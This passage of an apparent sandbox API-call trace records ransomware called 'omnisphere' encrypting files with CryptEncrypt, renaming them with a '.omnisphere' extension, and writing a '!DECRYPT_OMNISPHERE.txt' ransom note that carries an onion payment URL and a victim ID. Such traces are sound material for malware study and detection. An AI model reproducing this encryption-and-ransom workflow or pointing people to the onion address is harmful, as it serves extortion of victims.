hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.116] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.117] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.118] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.118] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.118] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.118] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.118] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.118] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.118] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.118] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.118] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.127] CryptDestroyKey (hKey=0x1639b28) returned 1 [0095.127] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0095.127] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x351ea, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0095.127] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0095.127] GetProcessHeap () returned 0x1600000 [0095.127] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2be) returned 0x1685908 [0095.127] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl.omnisphere")) returned 1 [0095.128] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.omnisphere.id" [0095.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0095.129] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0095.130] CloseHandle (hObject=0x3c0) returned 1 [0095.131] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0095.133] CloseHandle (hObject=0x288) returned 1 [0095.134] SetEndOfFile (hFile=0x28c) returned 1 [0095.134] FlushFileBuffers (hFile=0x28c) returned 1 [0095.153] CloseHandle (hObject=0x28c) returned 1 [0095.153] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0095.154] GetProcessHeap () returned 0x1600000 [0095.154] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1685bd0 [0095.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0095.154] GetProcessHeap () returned 0x1600000 [0095.154] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165efb8 [0095.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165efb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0095.154] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0095.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0095.154] GetProcessHeap () returned 0x1600000 [0095.154] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f490 [0095.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f490, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0095.154] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0095.154] GetProcessHeap () returned 0x1600000 [0095.154] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166a9f8 [0095.154] PathCombineW (in: pszDest=0x166a9f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0095.154] GetProcessHeap () returned 0x1600000 [0095.154] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1682488 [0095.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0095.155] WriteFile (in: hFile=0x28c, lpBuffer=0x1682488*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1682488*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0095.155] CloseHandle (hObject=0x28c) returned 1 [0095.156] GetProcessHeap () returned 0x1600000 [0095.156] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1685bd0 | out: hHeap=0x1600000) returned 1 [0095.156] GetProcessHeap () returned 0x1600000 [0095.156] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1631740 [0095.156] PathCombineW (in: pszDest=0x1631740, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0095.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0095.156] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0095.157] CloseHandle (hObject=0x28c) returned 1 [0095.157] GetProcessHeap () returned 0x1600000 [0095.157] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631740 | out: hHeap=0x1600000) returned 1 [0095.157] GetProcessHeap () returned 0x1600000 [0095.157] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630ea0 | out: hHeap=0x1600000) returned 1 [0095.157] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x372dd15, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3e4f3, dwReserved0=0x0, dwReserved1=0xce, cFileName="MLASeventhEditionOfficeOnline.xsl", cAlternateFileName="MLASEV~1.XSL")) returned 1 [0095.157] GetProcessHeap () returned 0x1600000 [0095.157] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16240d8 [0095.157] PathCombineW (in: pszDest=0x16240d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="MLASeventhEditionOfficeOnline.xsl" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" [0095.157] StrStrW (lpFirst=".omnisphere", lpSrch=".xsl") returned 0x0 [0095.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0095.158] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=255219) returned 1 [0095.158] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3dfcf, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0095.158] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0095.223] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.224] GetTickCount () returned 0x1157ef0 [0095.225] GetTickCount () returned 0x1157ef0 [0095.225] GetTickCount () returned 0x1157ef0 [0095.225] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0095.226] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396e8) returned 1 [0095.226] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0095.226] CryptDestroyKey (hKey=0x16396e8) returned 1 [0095.226] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0095.226] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e4f3, lpName=0x0) returned 0x288 [0095.226] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e4f3) returned 0x3c00000 [0095.946] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16681b8) returned 1 [0095.946] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0095.946] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: 